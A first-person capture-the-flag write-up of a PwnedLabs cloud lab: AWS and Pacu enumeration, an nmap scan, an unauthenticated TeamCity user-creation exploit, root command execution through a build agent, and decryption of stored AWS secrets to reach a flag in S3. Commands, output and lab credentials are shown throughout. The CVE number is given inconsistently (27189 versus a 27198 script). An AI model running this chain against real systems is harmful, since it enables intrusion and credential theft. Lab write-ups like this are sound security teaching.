When I started this PwnedLabs challenge, I was provided AWS credentials for what looked like a TeamCity cloud infrastructure deployment. The goal was simple enough: find the flag. The path to get there? Not so simple.
Initial Reconnaissance
First things first—I configured the AWS CLI with the provided credentials and verified I actually had access to something worth exploiting.
┌─[pwnedlabs@cloud]─[~/Desktop] └──╼ $ aws configure --profile TeamCity AWS Access Key ID [None]: AKIAWTO7WKG5LU7UG4E2 AWS Secret Access Key [None]: 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 Default region name [None]: Default output format [None]: ┌─[pwnedlabs@cloud]─[~/Desktop] └──╼ $ aws sts get-caller-identity --profile TeamCity { "UserId": "AIDAWTO7WKG5EMVCLWIUF", "Account": "454125048250", "Arn": "arn:aws:iam::454125048250:user/kai" }
This returned a valid IAM user named
kai
in account 454125048250
. Good start, but not great. I also checked EC2 instances as a standard first move:┌─[pwnedlabs@cloud]─[~/Desktop] └──╼ $ aws ec2 describe-instances --profile TeamCity { "Reservations": [] }
The response was empty, but that's actually a good sign. It meant I had permissions to query EC2, even if nothing showed up immediately. The real goldmine came when I decided to bring in heavier artillery and fire up Pacu for some deeper enumeration.
Finding the Instance
Using Pacu's
ec2__enum
module, I discovered there were actually 2 EC2 instances running, even though the direct API query had returned nothing:Pacu (y:No Keys Set) > import_keys TeamCity Imported keys as "imported-TeamCity" Pacu (y:imported-TeamCity) > run ec2__enum 2 total instance(s) found. 0 total security group(s) found. 0 total elastic IP address(es) found. 1 total public IP address(es) found. 0 total VPN customer gateway(s) found. 0 total dedicated hosts(s) found. 0 total network ACL(s) found. 0 total NAT gateway(s) found. 0 total network interface(s) found. 0 total route table(s) found. 0 total subnets(s) found. 0 total VPC(s) found. 0 total VPC endpoint(s) found. 0 total launch template(s) found.
Among the results was a public IP address—
18.118.31.171
—and a private IP—10.1.20.154
. The private IP is what I needed to focus on since I was already in the environment. I pulled the IP addresses more explicitly:┌─[pwnedlabs@cloud]─[~/.local/share/pacu] └──╼ $ pacu --session y --data ec2 | grep -i "IpAddress" "PrivateIpAddress": "10.0.10.39", "PrivateIpAddresses": [ "PrivateIpAddress": "10.0.10.39" "PrivateIpAddress": "10.0.10.39", "PublicIpAddress": "18.118.31.171", "PrivateIpAddress": "10.1.20.154", "PrivateIpAddresses": [ "PrivateIpAddress": "10.1.20.154" "PrivateIpAddress": "10.1.20.154"
After a bit of trial and error, I identified
10.1.20.154
as the target. A quick ping confirmed reachability:┌─[pwnedlabs@cloud]─[~/.local/share/pacu] └──╼ $ ping 10.1.20.154 PING 10.1.20.154 (10.1.20.154) 56(84) bytes of data. 64 bytes from 10.1.20.154: icmp_seq=1 ttl=63 time=64.0 ms 64 bytes from 10.1.20.154: icmp_seq=2 ttl=63 time=70.7 ms 64 bytes from 10.1.20.154: icmp_seq=3 ttl=63 time=68.0 ms
Then I ran a full port scan:
┌─[pwnedlabs@cloud]─[~/.local/share/pacu] └──╼ $ nmap -sV -Pn --open -v -n 10.1.20.154 -p- Starting Nmap 7.93 ( https://nmap.org ) at 2025-10-19 18:59 IST NSE: Loaded 45 scripts for scanning. Initiating Connect Scan at 18:59 Scanning 10.1.20.154 [65535 ports] Discovered open port 22/tcp on 10.1.20.154 Discovered open port 45267/tcp on 10.1.20.154 Discovered open port 8111/tcp on 10.1.20.154
Port 22 (SSH) was open but useless without credentials. Port 8111, however, had my attention immediately. That's the default port for TeamCity.
Exploiting CVE-2024-27189
When I hit
http://10.1.20.154:8111/
, I got a login page. No credentials, no obvious way in—except for a known vulnerability. A quick search led me to CVE-2024-27189, which allows unauthenticated user creation in vulnerable TeamCity versions.┌─[pwnedlabs@cloud]─[~/.local/share/pacu] └──╼ $ python3 CVE-2024-27198.py -t http://10.1.20.154:8111/ -u Tyrrell -p 'Password1234!@#$' [+] Version Found: 2023.05.1 (build 129321) [+] Server vulnerable, returning HTTP 200 [+] New user Tyrrell created succesfully! Go to http://10.1.20.154:8111//login.html to login with your new credentials :)
The script reported that the server was vulnerable and successfully created my new user. I logged in and started poking around the TeamCity configuration.

Extracting Encrypted Secrets
While exploring the admin panel, I found a section containing AWS credentials—but they were encrypted. The HTML showed:
<input type="hidden" name="prop:encrypted:secure:awsSecretAccessKey" id="prop:encrypted:secure:awsSecretAccessKey" value="6a4b3a21b53962f82e0b75ac38d0861fb78231d056746189f08a1d05885a27328e4ada8b9c146f39d7b1947d0d1b1f0950869e0e72f07c88b78fb0153788afb3cd735995dcb1bb0641cc0677e2d6399e1e7275774de810b6038b44a3dc671998197e9a3ddfa41b839ae7486a73a3cad08ed573455fc30368a917a66e490d3537" />
I grabbed a decryption script, but it didn't work—mostly because I couldn't get pycryptodome installed without breaking my system Python:
┌─[pwnedlabs@cloud]─[~/.local/share/pacu] └──╼ $ python3 decrypt.py 6a4b3a21b53962f82e0b75ac38d0861fb78231d056746189f08a1d05885a27328e4ada8b9c146f39d7b1947d0d1b1f0950869e0e72f07c88b78fb0153788afb3cd735995dcb1bb0641cc0677e2d6399e1e7275774de810b6038b44a3dc671998197e9a3ddfa41b839ae7486a73a3cad08ed573455fc30368a917a66e490d3537 Traceback (most recent call last): File "/home/pwnedlabs/.local/share/pacu/decrypt.py", line 11, in <module> from Crypto.Cipher import DES3 ModuleNotFoundError: No module named 'Crypto' ┌─[pwnedlabs@cloud]─[~/.local/share/pacu] └──╼ $ pip3 install pycryptodome error: externally-managed-environment × This environment is externally managed ╰─> To install Python packages system-wide, try apt install python3-xyz, where xyz is the package you are trying to install. ┌─[pwnedlabs@cloud]─[~/.local/share/pacu] └──╼ $ pip3 install pycryptodome --break-system-packages Defaulting to user installation because normal site-packages is not writeable Collecting pycryptodome Downloading pycryptodome-3.23.0-cp37-abi3-manylinux_2_17_x86_64.manylinux2014_x86_64.whl (2.3 MB) ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ 2.3/2.3 MB 26.9 MB/s eta 0:00:00 Installing collected packages: pycryptodome Successfully installed pycryptodome-3.23.0
Getting RCE and Finding the Real Credentials
I noticed something in the TeamCity UI: there was an agent configuration section that could execute commands on the connected EC2 instance. This was essentially giving me RCE as root on the target machine.


Once I had shell access, I searched for TeamCity's configuration files in the
.BuildServer
directory:
grep -R AccessKey .... system/pluginData/audit/configHistory/projects/project1/config.xml.5: <param name="secure:awsSecretAccessKey" value="zxxd9209a2675c8152e9e8197a825603c1667b1ad08704af7780da00e07a3935a8b3320d022c1d690e5775d03cbe80d301b" /> ... ... ...
This revealed another encrypted credential. I ran it through my decryption script:
┌─[pwnedlabs@cloud]─[~/.local/share/pacu] └──╼ $ python3 decrypt.py zxxd9209a2675c8152e9e8197a825603c1667b1ad08704af7780da00e07a3935a8b3320d022c1d690e5775d03cbe80d301b 9E+mUQkqga8UXMxGK2lK57uyJJBaD2VOJzIVu/+s
Excellent. Along with the Key ID
AKIAWHEOTHRF5S3EQESH
, I now had legitimate TeamCity service account credentials.Accessing the Flag
I configured these new credentials in the AWS CLI:
┌─[pwnedlabs@cloud]─[~/.local/share/pacu] └──╼ $ aws configure --profile TeamCity2 AWS Access Key ID [None]: AKIAWHEOTHRF5S3EQESH AWS Secret Access Key [None]: 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 Default region name [None]: us-east-1 Default output format [None]: ┌─[pwnedlabs@cloud]─[~/.local/share/pacu] └──╼ $ aws sts get-caller-identity --profile TeamCity2 { "UserId": "AIDAWHEOTHRFU67LYYSES", "Account": "427648302155", "Arn": "arn:aws:iam::427648302155:user/teamcity" }
And verified they belonged to a
teamcity
user in account 427648302155
. Now for the moment of truth—listing the S3 bucket I'd spotted earlier:┌─[pwnedlabs@cloud]─[~/.local/share/pacu] └──╼ $ aws s3 ls s3://huge-logistics-teamcity --profile TeamCity2 PRE artifacts/ PRE flag/ PRE plugins/ PRE temp/ ┌─[pwnedlabs@cloud]─[~/.local/share/pacu] └──╼ $ aws s3 ls s3://huge-logistics-teamcity/flag/ --profile TeamCity2 2023-07-24 22:49:10 0 2023-07-24 22:49:38 32 flag.txt ┌─[pwnedlabs@cloud]─[~/.local/share/pacu] └──╼ $ aws s3 cp s3://huge-logistics-teamcity/flag/flag.txt . --profile TeamCity2 download: s3://huge-logistics-teamcity/flag/flag.txt to ./flag.txt
Flag captured.
Key Takeaways
This lab was a solid reminder of how security chains can break at multiple points. A known vulnerability in TeamCity gave me initial access, poor credential management left secrets in configuration files, and overly permissive IAM policies allowed me to reach an S3 bucket that shouldn't have been accessible from those credentials. Each mistake compounded the others, turning what started as basic reconnaissance into full system compromise.
On to the next one.